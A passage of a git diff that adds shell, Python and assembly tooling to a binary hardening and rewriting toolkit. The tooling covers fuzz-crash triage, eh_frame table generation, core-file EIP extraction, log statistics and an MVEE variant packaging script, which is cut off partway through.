+#
+# This env. var tells Strata to insert RSS-ing.
+# However, we're doing the RSSing via SPRI/IRDB.
+# So we need to leave this env. var off.
+#
+# $PEASOUP_HOME/tools/update_env_var.sh STRATA_SHADOW_STACK 1
+
+$SECURITY_TRANSFORMS_HOME/bin/ret_shadow_stack.exe $*
+
+
+
+
diff --git a/peasoup_examples/tools/do_sfuzz.sh b/peasoup_examples/tools/do_sfuzz.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d52a2876688eda0cee654cb32343b798c47c662e
--- /dev/null
+++ b/peasoup_examples/tools/do_sfuzz.sh
@@ -0,0 +1,27 @@
+#!/bin/bash
+
+# pre: we're in the peasoup subdir
+
+binary=$1
+benchmark=$2
+cso_file=$3
+
+mkdir -p sfuzz/crashes
+
+seeds_dir=${PEASOUP_HOME}/tools/sfuzz/seed_inputs
+crash_dir=sfuzz/crashes
+crash_eip_file=sfuzz/crashing_eips 
+
+timeout 30 ${PEASOUP_HOME}/tools/sfuzz/replay_seed_inputs.sh ./$binary $seeds_dir $crash_dir $crash_eip_file
+
+echo "Found the following crasheing EIPs:"
+cat $crash_eip_file
+
+# need file to be in format
+#benchmark,address,bufsize,type
+
+while read -r LINE || [[ -n $LINE ]]; do
+echo "$benchmark,$LINE,,Tainted Dereference" >> $cso_file
+done < $crash_eip_file
+
+exit 0
diff --git a/peasoup_examples/tools/do_spawner.sh b/peasoup_examples/tools/do_spawner.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b45b4196ef244218e4fe173ae14b591d0ed927e6
--- /dev/null
+++ b/peasoup_examples/tools/do_spawner.sh
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+mv a.stratafied spawned
+cp $PEASOUP_HOME/cgc_spri/spawner a.stratafied
diff --git a/peasoup_examples/tools/eh_frame_tools/eh_frame.ls b/peasoup_examples/tools/eh_frame_tools/eh_frame.ls
new file mode 100644
index 0000000000000000000000000000000000000000..668c67f89a744b9f5bf5f6d3558bfc93f4e38589
--- /dev/null
+++ b/peasoup_examples/tools/eh_frame_tools/eh_frame.ls
@@ -0,0 +1,19 @@
+
+
+SECTIONS
+{
+	eh_frame_hdr : 
+	{
+		*(eh_frame_hdr)
+	}
+
+	eh_frame : 
+	{
+		*(eh_frame)
+	}
+
+	gcc_except_table : 
+	{
+		*(gcc_except_table)
+	}
+}
diff --git a/peasoup_examples/tools/eh_frame_tools/eh_to_bin.sh b/peasoup_examples/tools/eh_frame_tools/eh_to_bin.sh
new file mode 100755
index 0000000000000000000000000000000000000000..054b4b728dbdbec7c9ace877c646dad1384a4b13
--- /dev/null
+++ b/peasoup_examples/tools/eh_frame_tools/eh_to_bin.sh
@@ -0,0 +1,11 @@
+#!/bin/bash 
+
+infile=$1
+addr=$2
+outfile=$3
+
+gcc $infile -nostdlib -Wl,--section-start -Wl,eh_frame_hdr=$addr -Wl,-e -Wl,0x1000  -Wl,--build-id=none -Wl,-T -Wl,${PEASOUP_HOME}/tools/eh_frame_tools/eh_frame.ls -o $outfile -Wl,-Map,$outfile.map || exit
+#eu-readelf -S ./a.out
+objcopy --rename-section eh_frame_hdr=.eh_frame_hdr --rename-section eh_frame=.eh_frame --rename-section gcc_except_table=.gcc_except_table $outfile
+#eu-readelf -S -w ./b.out
+
diff --git a/peasoup_examples/tools/eh_frame_tools/sample.eh.s b/peasoup_examples/tools/eh_frame_tools/sample.eh.s
new file mode 100644
index 0000000000000000000000000000000000000000..6a76cf37cbc293016da7d845b2d8ee13d80b106d
--- /dev/null
+++ b/peasoup_examples/tools/eh_frame_tools/sample.eh.s
@@ -0,0 +1,239 @@
+.equ fde1_start_addr, 0x601234
+.equ fde2_start_addr, 0x605678
+
+.equ fde1_cs1, fde1_start_addr+0x0a
+.equ fde1_cs1_len, 0x0b
+.equ fde1_cs1_lp, fde1_cs1+fde1_cs1_len+0x0c
+
+.equ fde1_cs2, fde1_start_addr+0x1a
+.equ fde1_cs2_len, 0x1b
+.equ fde1_cs2_lp, fde1_cs2+fde1_cs2_len+0x1c
+
+.equ fde2_cs1, fde2_start_addr+0x2a
+.equ fde2_cs1_len, 0x2b
+.equ fde2_cs1_lp, fde2_cs1+fde1_cs1_len+0x2c
+
+.equ fde2_cs2, fde2_start_addr+0x3a
+.equ fde2_cs2_len, 0x3b
+.equ fde2_cs2_lp, fde2_cs2+fde1_cs2_len+0x3c
+
+
+.section eh_frame_hdr, "a",@progbits
+
+eh_frame_hdr_start:
+	.byte 1 	  	# version
+	.byte 0x10 | 0x0B 	# encoding for pointer to eh-frame -- DH_EH_PE_pcrel (0x10) | DH_EH_PE_sdata4 (0x0B)
+	.byte 0x03 		# encoding for ; of entries in eh-frame-hdr  -- DH_EH_PE_udata4 (0x03)
+	.byte 0x30 | 0x0B 	# encoding for pointers (to fdes) held in the eh-frame-hdr header  -- DH_EH_PE_datarel (0x30) | DH_EH_PE_sdata4 (0x0b)
+	.int Lfde_table - . 	# pointer to fde_table, encoded as an sdata4, pcrel
+	.int (eh_frame_table_end-eh_frame_table)/8	# number of FDEs in the header.
+	.align 4
+eh_frame_table:
+	# an entry in the table is {offset to fde start , offset fde itself }, encoded as datarel|sdata4
+	.int fde1_start_addr - eh_frame_hdr_start
+	.int Lfde1 - eh_frame_hdr_start 
+	.int fde1_start_addr - eh_frame_hdr_start
+	.int Lfde2 - eh_frame_hdr_start
+eh_frame_table_end:
+
+
+.section eh_frame, "a", @progbits
+
+Lfde_table:
+
+# cie 1
+Lcie1:
+.int Lcie1_end - Lcie1 - 4 # length of this record. -4 because length doesn't include this field
+	.int 0			# cie (not fde)
+	.byte 3 		# version
+	.asciz "zPLR"		# aug string.
+	.uleb128 1		# code alignment factor
+	.sleb128 -8		# data alignment factor
+	.uleb128 16		# return address reg.
+
+	# encode the Z (length)
+	.sleb128 Lcie1_aug_data_end-Lcie1_aug_data_start # Z -- handle length field
+Lcie1_aug_data_start:
+
+	#encode the P (personality encoding + personality routine)
+	.byte 0x80 | 0x10 | 0x0B 	#  personality pointer encoding DH_EH_PE_indirect (0x80) | pcrel | sdata4
+	.int 0x900aa0 - .		# actual personality routine, encoded as noted in prev line.
+
+	# encode L (lsda encoding) 
+	.byte  0x03	# LSDA encoding (udata4 -- or maybe later pcrel|sdata4 ? )
+
+	# encode R (FDE encoding) 
+	.byte  0x10 | 0x0B 	# FDE encoding (pcrel | sdata4)
+Lcie1_aug_data_end:
+
+	# CIE program
+	.byte 0x0e, 0x10,0x0e, 0x18,0x0f, 0x0b, 0x77, 0x08, 0x80, 0x00, 0x3f, 0x1a, 0x3b, 0x2a, 0x33, 0x24, 0x22
+
+	# pad with nops
+	.align 4, 0
+Lcie1_end:
+
+#fde 1
+Lfde1:
+	.int Lfde1_end - Lfde1 - 4  	# length of this record. -4 because length doesn't include this field.
+	.int . - Lcie1  	   	# this is an FDE (not a cie), and it's cie is CIE1.  byte offset from start of field.
+	.int 0x601234 - . 		# FDE start addr
+	.int 0xdead 			# fde range length (i.e., can calc the fde_end_addr from this -- note that pcrel is ignored here!)
+	#encode Z (length)
+	.uleb128 Lfde1_aug_data_end-Lfde1_aug_data_start
+Lfde1_aug_data_start:
+	#encode L (LSDA) 
+	.int LSDA1	# LSDA hard coded here
+Lfde1_aug_data_end:
+
+	# FDE1 program
+	.byte 0x0e, 0x10,0x0e, 0x18,0x0f, 0x0b, 0x77, 0x08, 0x80, 0x00, 0x3f, 0x1a, 0x3b, 0x2a, 0x33, 0x24, 0x22
+	.align 4, 0
+	Lfde1_end:
+
+
+
+#fde 2
+Lfde2:
+	.int Lfde2_end - Lfde2 - 4   	# length of this record. -4 because length doesn't include this field
+	.int . - Lcie1 			# this is an FDE (not a cie), and it's cie is CIE1.  byte offset from start of field.
+	.int 0x605678 - . 		# FDE start addr
+	.int 0xbeef 			# fde range length (i.e., can calc the fde_end_addr from this -- note that pcrel is ignored here!)
+	#encode Z (length)
+	.uleb128 Lfde1_aug_data_end-Lfde1_aug_data_start
+Lfde2_aug_data_start:
+	#encode L (LSDA) 
+	.int LSDA2	# LSDA hard coded here
+Lfde2_aug_data_end:
+
+	# FDE2 program
+	.byte 0x0e, 0x10,0x0e, 0x18,0x0f, 0x0b, 0x77, 0x08, 0x80, 0x00, 0x3f, 0x1a, 0x3b, 0x2a, 0x33, 0x24, 0x22
+	.align 8, 0
+Lfde2_end:
+
+
+.section gcc_except_table, "a", @progbits
+
+LSDA1:
+
+	# 1) encoding of next field 
+	.byte 0xff # DW_EH_PE_omit (0xff)
+
+	# 2) landing pad base, if omitted, use FDE start addr
+	# .<fdebasetype> <fdebase> -- omitted.  
+
+	# 3) encoding of type table entries
+	.byte 0x3  # DW_EH_PE_udata4
+
+	# 4) type table pointer -- always a uleb128
+	.uleb128 LSDA1_type_table_end - LSDA1_tt_ptr_end
+LSDA1_tt_ptr_end:
+
+	# 5) call site table encoding
+	.byte 0x1 # DW_EH_PE_uleb128 
+
+	# 6) the length of the call site table
+	.uleb128 LSDA1_cs_tab_end-LSDA1_cs_tab_start
+
+LSDA1_cs_tab_start:
+LSDA1_cs_tab_entry1_start:
+	# 1) start of call site relative to FDE start addr
+	.uleb128 fde1_cs1 - fde1_start_addr
+	# 2) length of call site
+	.uleb128 fde1_cs1_len
+	# 3) the landing pad, or 0 if none exists.
+	.uleb128 fde1_cs1_lp - fde1_start_addr
+	# 4) index into action table + 1 -- 0 indicates unwind only
+	.uleb128  0
+LSDA1_cs_tab_entry1_end:
+LSDA1_cs_tab_entry2_start:
+	# 1) start of call site relative to FDE start addr
+	.uleb128 fde1_cs2 - fde1_start_addr
+	# 2) length of call site
+	.uleb128 fde1_cs2_len
+	# 3) the landing pad, or 0 if none exists.
+	.uleb128 fde1_cs2_lp - fde1_start_addr
+	# 4) index into action table + 1 -- 0 indicates unwind only
+	.uleb128  1 + LSDA1_act2_start - LSDA1_action_tab_start
+LSDA1_cs_tab_entry2_end:
+LSDA1_cs_tab_end:
+
+LSDA1_action_tab_start:
+
+LSDA1_act1_start:
+	.uleb128 2
+	.uleb128 0
+LSDA1_act1_end:
+LSDA1_act2_start:
+	.uleb128 1
+	.uleb128 LSDA1_act1_start - .
+LSDA1_act2_end:
+LSDA1_action_tab_end:
+
+LSDA1_type_table_start:
+	.int 0x902200
+	.int 0
+LSDA1_type_table_end:
+LSDA1_end:
+
+
+LSDA2:
+	# 1) encoding of next field 
+	.byte 0xff # DW_EH_PE_omit (0xff)
+
+	# 2) landing pad base, if omitted, use FDE start addr
+	# .<fdebasetype> <fdebase> -- omitted.  
+
+	# 3) encoding of type table entries
+	.byte 0x3  # DW_EH_PE_udata4
+
+	# 4) type table pointer
+	.uleb128 LSDA2_type_table_end - LSDA2_tt_ptr_end
+LSDA2_tt_ptr_end:
+
+	# 5) call site table encoding
+	.byte 0x1 # DW_EH_PE_uleb128 
+
+	# 6) the length of the call site table
+	.uleb128 LSDA2_cs_tab_end-LSDA2_cs_tab_start
+
+LSDA2_cs_tab_start:
+LSDA2_cs_tab_entry1_start:
+	# 1) start of call site relative to FDE start addr
+	.uleb128 fde1_cs1 - fde1_start_addr
+	# 2) length of call site
+	.uleb128 fde1_cs1_len
+	# 3) the landing pad, or 0 if none exists.
+	.uleb128 fde1_cs1_lp - fde2_start_addr
+	# 4) index into action table + 1 -- 0 indicates unwind only
+	.uleb128  0
+LSDA2_cs_tab_entry1_end:
+LSDA2_cs_tab_entry2_start:
+	# 1) start of call site relative to FDE start addr
+	.uleb128 fde1_cs2 - fde1_start_addr
+	# 2) length of call site
+	.uleb128 fde1_cs2_len
+	# 3) the landing pad, or 0 if none exists.
+	.uleb128 fde1_cs2_lp - fde2_start_addr
+	# 4) index into action table + 1 -- 0 indicates unwind only
+	.uleb128  1 + LSDA2_act2_start - LSDA2_action_tab_start
+LSDA2_cs_tab_entry2_end:
+LSDA2_cs_tab_end:
+
+LSDA2_action_tab_start:
+
+LSDA2_act1_start:
+	.uleb128 2
+	.uleb128 0
+LSDA2_act1_end:
+LSDA2_act2_start:
+	.uleb128 1
+	.uleb128 LSDA2_act1_start - .
+LSDA2_act2_end:
+LSDA2_action_tab_end:
+
+LSDA2_type_table_start:
+	.int 0x902200
+	.int 0
+LSDA2_type_table_end:
+LSDA2_end:
diff --git a/peasoup_examples/tools/empty.json b/peasoup_examples/tools/empty.json
new file mode 100644
index 0000000000000000000000000000000000000000..f1f788208006eaf0425f05a46393f5828ee4af82
--- /dev/null
+++ b/peasoup_examples/tools/empty.json
@@ -0,0 +1 @@
+{"version":{"major":1,"minor":1},"timestamp":"0.32000000000000001","count":2,"inputs":{"CLINPUT":{"count":0,"inputs":[]},"FILEINPUT":{"count":0,"inputs":[]}}}
\ No newline at end of file
diff --git a/peasoup_examples/tools/extract_eip_from_core.sh b/peasoup_examples/tools/extract_eip_from_core.sh
new file mode 100755
index 0000000000000000000000000000000000000000..dc3c70f78b02e79a599b412ae0f7dd9718f0371f
--- /dev/null
+++ b/peasoup_examples/tools/extract_eip_from_core.sh
@@ -0,0 +1,38 @@
+#!/bin/bash
+
+#
+# Extract eip from valid CGC core file
+# Outputs eip value in hex, e.g., 0x804823c
+#
+
+bin=$1
+core=$2
+
+if [ ! -f $bin ]; then
+	echo "binary file: $bin does not exist"
+	exit 1
+fi
+
+if [ ! -f $core ]; then
+	echo "core file: $core does not exist"
+	exit 1
+fi
+
+if [ -z $PS_READELF ]; then
+	echo "Environment variable PS_READELF is not defined"
+	exit 1
+fi
+
+$PS_READELF -h $core | grep -i Type | grep -i core &> /dev/null
+if [ ! $? -eq 0 ]; then
+	echo "$core is not a valid core file"
+	exit 1
+fi
+
+gdb $1 $2 --batch --ex "x/i \$eip" 2>&1 | grep -i "cannot access"
+if [ $? -eq 0 ]; then
+	echo "crashed but eip is bogus"
+	exit 1
+fi
+
+gdb $1 $2 --batch --ex "info registers eip" | grep eip | awk -F " " '{print $2;}'
diff --git a/peasoup_examples/tools/fast_annot.sh b/peasoup_examples/tools/fast_annot.sh
new file mode 100755
index 0000000000000000000000000000000000000000..4d3caaa9fc84b5c7fd5c5b9b568b9585047efc7f
--- /dev/null
+++ b/peasoup_examples/tools/fast_annot.sh
@@ -0,0 +1,9 @@
+#!/bin/sh  -x
+
+ls -l a.ncexe.annot
+
+mv a.ncexe.annot a.ncexe.annot.full
+grep "FUNC GLOBAL" a.ncexe.annot.full >  a.ncexe.annot
+
+ls -l a.ncexe.annot
+
diff --git a/peasoup_examples/tools/fast_spri.sh b/peasoup_examples/tools/fast_spri.sh
new file mode 100755
index 0000000000000000000000000000000000000000..4e07dd3235dfa6bff493c99d9edf7aad914f2b80
--- /dev/null
+++ b/peasoup_examples/tools/fast_spri.sh
@@ -0,0 +1,7 @@
+#!/bin/sh 
+
+cat $1 |sed -e "s/#.*//g" -e "/^$/d" |grep -v " rl " > $2
+cat $1 |sed -e "s/#.*//g" -e "/^$/d" |grep  " rl " >> $2
+
+
+exit 0
diff --git a/peasoup_examples/tools/gather_stats.py b/peasoup_examples/tools/gather_stats.py
new file mode 100755
index 0000000000000000000000000000000000000000..965c55ad323686a5738a97aa95521f28f2de155e
--- /dev/null
+++ b/peasoup_examples/tools/gather_stats.py
@@ -0,0 +1,59 @@
+# gather_stats.py <file1> <file2> ... <fileN>
+
+import os
+import sys
+import re
+import json
+
+ATTRIBUTE='# ATTRIBUTE'
+ATTRIBUTE2='#ATTRIBUTE'
+
+# extract attribute key and value from attribute line
+# format:    # ATTRIBUTE key=value 
+# format:    #ATTRIBUTE key=value
+def extract_attribute(attribute_line):
+	line=''
+	if ATTRIBUTE in attribute_line:
+		line = attribute_line[len(ATTRIBUTE):].lstrip()
+	elif ATTRIBUTE2 in attribute_line:
+		line = attribute_line[len(ATTRIBUTE2):].lstrip()
+	equal_pos = line.find('=')
+	return (line[0:equal_pos].rstrip(), line[equal_pos+1:].lstrip())
+
+# get stats one file at a time
+stats = {}
+for log_file_path in sys.argv[1:]:
+	ps_analyze_log = False
+	log_file = os.path.basename(log_file_path)
+
+	if not os.path.exists(log_file_path):
+		continue
+
+	if log_file == 'ps_analyze.log':
+		ps_analyze_log = True
+
+	step_name = os.path.splitext(log_file)[0]
+
+	with open(log_file_path, 'r') as f:
+		for line in f:
+			line = line.rstrip()
+			if not line or line is None:
+				continue
+		
+			if ps_analyze_log:
+				if 'ATTRIBUTE start_time' in line or 'ATTRIBUTE end_time' in line or 'ATTRIBUTE hostname' in line:
+					(attribute_name, attribute_value) = extract_attribute(line.rstrip())
+					if not step_name in stats:
+						stats[step_name] = {}
+					stats[step_name][attribute_name] = attribute_value
+			elif re.search(ATTRIBUTE, line) or re.search(ATTRIBUTE2, line): 
+				(attribute_name, attribute_value) = extract_attribute(line.rstrip())
+				# need to make sure no '.' in attribute name as mongodb doesn't allow
+				attribute_name = attribute_name.replace(".","_")
+				if not step_name in stats:
+					stats[step_name] = {}
+				stats[step_name][attribute_name] = attribute_value
+
+if stats:
+	print (json.dumps(stats))
+	
diff --git a/peasoup_examples/tools/generate_exe.sh b/peasoup_examples/tools/generate_exe.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f03b3189067d1a6a8d34f1e8145ff40b4d66af6e
--- /dev/null
+++ b/peasoup_examples/tools/generate_exe.sh
@@ -0,0 +1,26 @@
+#!/bin/sh
+# This script depends on having the following environment variables defined
+# STRATA - The path to the strata installation
+# An example of these environment variables and their settings are listed in
+# the sample file: $STRATA/security_startup_rc
+
+
+if [ "$PEASOUP_HOME"X = X ]; then echo Please set PEASOUP_HOME; exit 1; fi
+if [ ! -f  $PEASOUP_HOME/tools/getsyms.sh ]; then echo PEASOUP_HOME is set poorly, please fix.; exit 1; fi
+if [ "$SMPSA_HOME"X = X ]; then echo Please set SMPSA_HOME; exit 1; fi
+if [ ! -f  $SMPSA_HOME/SMP-analyze.sh ]; then echo SMPSA_HOME is set poorly, please fix.; exit 1; fi
+
+
+output=$1
+stratafied_exe=$2
+orig_exe=$3
+annot_file=$4
+
+sh $PEASOUP_HOME/tools/getsyms.sh $orig_exe
+mv $orig_exe.syms $orig_exe.readelf
+
+echo "#!/bin/sh" > $output
+echo "PATH=$PATH:. STRATA_ANNOT_FILE=$annot_file STRATA_SYM_FILE=$orig_exe.readelf $stratafied_exe \$*" >> $output
+chmod 755 $output
+
+
diff --git a/peasoup_examples/tools/generate_io_baseline.sh b/peasoup_examples/tools/generate_io_baseline.sh
new file mode 100755
index 0000000000000000000000000000000000000000..36ed0291cab00ae0884fa10dd76de8ea90bfe67c
--- /dev/null
+++ b/peasoup_examples/tools/generate_io_baseline.sh
@@ -0,0 +1,31 @@
+#!/bin/sh
+
+# $1 is the top-level directory
+# $2 is the binary (non-stratafied)
+# $3 is the directory that contains the inputs
+
+
+TOP_DIR=$1
+BINARY=`basename $2`
+INPUT_DIR=$3
+
+BASELINE_OUTPUT_DIR=replay.baseline
+
+echo "=========================================================================="
+echo "Running replayer to get baseline outputs on binary: $TOP_DIR/$BINARY"
+echo "                                   Input directory: $INPUT_DIR"
+echo "                                  Output directory: $BASELINE_OUTPUT_DIR"
+echo "=========================================================================="
+
+cd $TOP_DIR
+
+mkdir $BASELINE_OUTPUT_DIR
+
+for i in `ls $INPUT_DIR/input*.json`
+do
+  # format input file is:  input_0001.json
+  input=`basename $i .json`
+  $GRACE_HOME/concolic/bin/replayer --stdout=$BASELINE_OUTPUT_DIR/stdout.$input --stderr=$BASELINE_OUTPUT_DIR/stderr.$input --engine=ptrace ./$BINARY $i
+done
+
+cd -
diff --git a/peasoup_examples/tools/generate_mvee_package.sh b/peasoup_examples/tools/generate_mvee_package.sh
new file mode 100755
index 0000000000000000000000000000000000000000..517686bdca6da0299863695568c4825dd3806493
--- /dev/null
+++ b/peasoup_examples/tools/generate_mvee_package.sh
@@ -0,0 +1,1099 @@
+#!/bin/bash
+
+declare -a variant_json_arr
+declare -a variant_config_arr
+
+usage()
+{
+
+	echo "
+Usage:
+	generate_mvee_package.sh 
+
+	[(--include-cr|--noinclude-cr)]
+	[(--diehard|--nodiehard)]
+	[(--libtwitcher|--nolibtwitcher)]
+	[(--enablenoh|--disablenoh)]
+	[(--enablenol|--disablenol)]
+	[(--enable-assurance|--disable-assurance)]
+	--indir <path_to_variants>
+	--outdir <path_to_variants>
+	[--args <arguments string in json format> ]
+	[--server <servername>
+	[--class <atd class> ]
+	[--do-detach (true|false|null) ]
+	[--mainexe <exe base name>
+	[--extra_preloads "<preloads>" ]
+	[--supplement "<supplment_file>" ]
+	[(--help | -h )]
+	[(--verbose | -v )]
+"
+}
+
+check_opts()
+{
+	# echo args="$@"
+	# defaults
+	args="\"-k\", \"start\""
+	server="APACHE"
+	class=""
+	backend="zipr"	 	
+	use_diehard="--nodiehard"
+	use_libtwitcher="--nolibtwitcher"
+	use_noh="--disablenoh"
+	use_nol="--disablenol"
+	use_assurance="--disable-assurance"
+	use_includecr="--noinclude-cr"
+	do_detach=null
+	mainexe_opt="" # look in target_apps and find exactly one thing.
+	verbose=0
+
+
+
+        # Note that we use `"$@"' to let each command-line parameter expand to a 
+        # separate word. The quotes around `$@' are essential!
+        # We need TEMP as the `eval set --' would nuke the return value of getopt.
+        short_opts="hv"
+        long_opts="
+		   --long libtwitcher
+                   --long nolibtwitcher
+		   --long diehard
+                   --long nodiehard
+		   --long enablenoh
+		   --long disablenoh
+		   --long enablenol
+		   --long disablenol
+		   --long enable-assurance
+		   --long disable-assurance
+		   --long include-cr
+		   --long noinclude-cr
+                   --long indir:
+                   --long outdir:
+                   --long args:
+                   --long server:
+                   --long class: 
+                   --long help
+                   --long zipr
+                   --long strata
+                   --long do-detach:
+                   --long mainexe:
+                   --long extra_preloads:
+                   --long supplement:
+                   --long verbose
+                "
+
+        # solaris does not support long option names
+        if [ `uname -s` = "SunOS" ]; then
+                TEMP=`getopt $short_opts "$@"`
+        else
+                TEMP=`getopt -o $short_opts $long_opts -n 'generate_mvee_package.sh' -- "$@"`
+        fi
+
+        # error check #
+        if [ $? != 0 ] ; then echo "Terminating..." >&2 ; exit -1 ; fi
+
+        # Note the quotes around `$TEMP': they are essential!
+        eval set -- "$TEMP"
+
+        while true ; do
+                case "$1" in
+                        --extra_preloads)
+				extra_preloads="$2"
+                                shift 2
+			;;
+                        --supplement)
+				sad_file="$2"
+                                shift 2
+			;;
+                        --do-detach)
+				do_detach="$2"
+                                shift 2
+			;;
+                        --mainexe)
+				mainexe_opt="$2"
+                                shift 2
+			;;
+                        --verbose|-v)
+				verbose=1
+				shift 1
+			;;
+                        --help|-h)
+                                usage;
+                                exit 1
+                        ;;
+                        --indir)
+                                indir="$2"
+                                shift 2
+			;;
+                        --outdir)
+                                outdir="$2"
+                                shift 2
+			;;
+                        --args)
+                                args="$2"
+                                shift 2
+			;;
+                        --class)
+                                class="$2"
+                                shift 2
+			;;
+                        --server)
+                                server="$2"
+                                shift 2
+			;;
+                        --strata)
+                                backend="strata"
+                                shift
+			;;
+                        --zipr)
+                                backend="zipr"
+                                shift
+			;;
+                        --diehard|--nodiehard)
+				use_diehard="$1"
+                                shift 1
+			;;
+                        --libtwitcher|--nolibtwitcher)
+				use_libtwitcher="$1"
+                                shift 1
+			;;
+                        --include-cr|--noinclude-cr)
+				use_includecr="$1"
+                                shift 1
+			;;
+			--enablenoh|--disablenoh)
+				use_noh="$1"
+				shift 1
+			;;
+			--enablenol|--disablenol)
+				use_nol="$1"
+				shift 1
+			;;
+			--enable-assurance|--disable-assurance)
+				use_assurance="$1"
+				shift 1
+			;;
+                        --)
+                                shift
+                                break
+                        ;;
+                        *)
+                                 echo "Internal error!" 
+                                echo found option "$1"
+
+                                exit -2
+                        ;;
+                esac
+        done
+
+        # report errors if found
+        if [ ! -z $1 ]; then
+                echo Unparsed/unimplemented parameters:
+                for arg do echo '--> '"\`$arg'" ; done
+                exit 3;
+        fi
+
+	if [ "x$indir" = "x" ]; then
+		echo "Specifying a directory is necessary"
+		exit 3;
+	fi	
+
+	if [[ $verbose = 1 ]]
+	then
+		echo "Setting preloads = $extra_preloads"
+		echo "Setting mainexe = $mainexe_opt"
+		echo "Setting indir = $indir"
+		echo "Setting outdir = $outdir"
+		echo "Setting args = $args"
+		echo "Setting class = $class"
+		echo "Setting server = $server"
+		echo "Setting backend = $backend"
+		echo "Setting diehard = $use_diehard"
+		echo "Setting libtwitcher = $use_libtwitcher"
+		echo "Setting include-cr = $use_includecr"
+		echo "Setting noh = $use_noh"
+		echo "Setting nol = $use_nol"
+		echo "Setting assurance = $use_assurance"
+	fi
+
+	server=${server} # uppercase the server setting.
+}
+
+
+sanity_check()
+{
+	# count the number of variants that will be in the system, and sanity check that each library has those same variants.
+	total_variants=0
+	total_variant_sets=0
+
+	if [[ ! -z $sad_file ]] && [[ ! -f $sad_file ]]; then
+		echo "Supplement application description file $sad_file does not exist or isn't a normal file"
+		exit 1
+	fi
+
+	var_sets=$(ls $indir)
+	for vs_dir in $var_sets
+	do
+		vs_top_dir=$indir/$vs_dir
+		total_variant_sets=$(expr $total_variant_sets + 1)
+
+		if [[ "X$mainexe_opt" = "X" ]]; then
+			echo "Trying to infer exe name."
+			if [ -d $vs_top_dir/target_apps ]; then
+				main_exe=$(/bin/ls -F $vs_top_dir/target_apps/ |egrep "/$"|sed "s|/$||"|sed "s/^dh-//" )
+			else
+				echo
+				echo "Error:  main executable not found in $vs_top_dir/target_apps.  Please use --mainexe      ************************"
+				exit 1
+			fi
+		else
+			if [ -d $vs_top_dir/target_apps/dh-$mainexe_opt ]; then
+				main_exe=$mainexe_opt
+			elif [ -d $vs_top_dir/target_app_libs/dh-$mainexe_opt ]; then
+				main_exe=$mainexe_opt
+			else
+				echo
+				echo "Error:  main executable not found in $vs_top_dir/target_apps or $vs_top_dir/target_app_libs.  Please fix --mainexe      ************************"
+				exit 1
+			fi
+		fi
+
+
+
+		if [ -d $vs_top_dir/target_app_libs ]; then
+			libraries=$(/bin/ls $vs_top_dir/target_app_libs/ |grep -v "^dh-lib$" |sed "s/dh-$main_exe//" |sed "s/^dh-//")
+		fi
+		configs=$(/bin/ls $vs_top_dir/target_app*/dh-$main_exe/)
+		echo "For variant set $vs_dir:"
+		echo "	Found application=\"$main_exe\""
+		echo "	Found libraries=\"$(echo $libraries)\""
+		echo "	Found configurations="\"$configs\"
+
+
+		# sanity check that there's only one application.
+		if [ $(echo $main_exe|wc -w) -ne 1 ]; then
+
+			echo "Found zero or more than one app in $vs_top_dir/target_apps/"
+			echo "Malformed input.  Aborting...."
+			exit 3
+		fi
+
+
+		# sanity check that the configs in the main app match the configs for the libraries.
+		for config in $configs; do
+			for lib in $libraries; do
+			
+				if [ ! -d $vs_top_dir/target_app_libs/dh-$lib/$config ]; then 
+					echo "Found that $vs_top_dir/target_app_libs/dh-$lib/$config is missing."
+					echo "Malformed input.  Aborting...."
+				fi
+			done
+		done
+
+
+		# reset		
+		variants_per_vs=0
+
+		for config in $configs; do
+			for variant_dir in $vs_top_dir/target_app*/dh-$main_exe/$config/v[0-9]*/
+			do
+				total_variants=$(expr $total_variants + 1)
+				variants_per_vs=$(expr $variants_per_vs + 1)
+				variant_json_arr[$total_variants]="$variant_dir/peasoup_executable_dir/variant_config.json"
+				variant_config_arr[$total_variants]="$config"
+				if [ ! -f $variant_json ]; then
+					echo "Variant configuration file ($variant_json) missing."
+					exit 3
+				fi
+				variant_jsons="$variant_jsons $variant_json"
+
+				for lib in $libraries; do
+					varNum=$(basename $variant_dir)
+					if [ ! -d $vs_top_dir/target_app_libs/dh-$lib/$config/$varNum ]; then
+						echo "Found that $vs_top_dir/target_app_libs/dh-$lib/$config/$varNum is missing"
+						exit 3
+					fi
+				done
+			
+				
+			done
+		done
+		echo "	Found a total of $variants_per_vs to run in parallel."
+	done
+
+	echo "-------------------------------------------"
+	echo "Sanity checks complete.  Let's do this.... "
+	echo "-------------------------------------------"
+}
+
+copy_stuff()
+{
+	in=$1
+	out=$2
+	exe=$3
+	target_path=$4
+	is_main=$5
+	echo -n "	Copying files for $exe ... "
+
+	mkdir -p $out 2> /dev/null
+
+	if [[ $is_main == 1 ]] ; then
+		cp $in/*.so 		$out/ 2> /dev/null 
+		cp $in/*json 		$out/ 2> /dev/null 
+		cp $in/*nol 		$out/ 2> /dev/null 
+		cp $in/ld-nol.so.ubuntu $out/ 2> /dev/null
+		cp $in/ld-nol.so.centos $out/ 2> /dev/null
+	fi
+	cp $in/*.map 		$out/ 2> /dev/null 
+
+	new_val="\"$exe\" : \"$target_path/zipr.map\" ";
+	variant_config_contents="${variant_config_contents//<<CODE_MAP>>/$new_val, <<CODE_MAP>>}"
+
+	new_val="\"$exe\" : \"$target_path/scoop.map\" ";
+	variant_config_contents="${variant_config_contents//<<SCOOP_MAP>>/$new_val, <<SCOOP_MAP>>}"
+
+	new_val="\"$exe\" : \"$target_path/p1.map\" ";
+	variant_config_contents="${variant_config_contents//<<P1_MAP>>/$new_val, <<P1_MAP>>}"
+
+	echo  "Done!"
+
+}
+
+get_target_path_to()
+{
+	local local_filename="$1"
+	# no supplemental info?  return default
+	if [[ -z $sad_file ]]; then
+		echo "/usr/lib"
+		return 
+	fi
+
+
+	# search for a per-file load path for this file
+	sad_contents=$(cat $sad_file |jq .per_file_load_path)
+	if [[ $sad_contents != 'null' ]]; then
+		sad_contents=$(echo "$sad_contents" |head -n -1|tail -n +2)     # trim open and close []s
+
+		for i in "$sad_contents"
+		do
+			i=$(echo $i | sed -e "s/^\"//" -e "s/\"$//")
+			tokens=(${i})
+
+			lhs=${tokens[0]}
+			middle=${tokens[1]}
+			rhs=${tokens[2]}
+
+			if ! [[ $middle  = "loaded_from" ]]; then
+				echo "Cannot parse 'lhs loaded_from rhs' from $i" 2>&1 
+				exit 1
+			fi			
+			if [[ ! -z ${tokens[3]} ]]; then
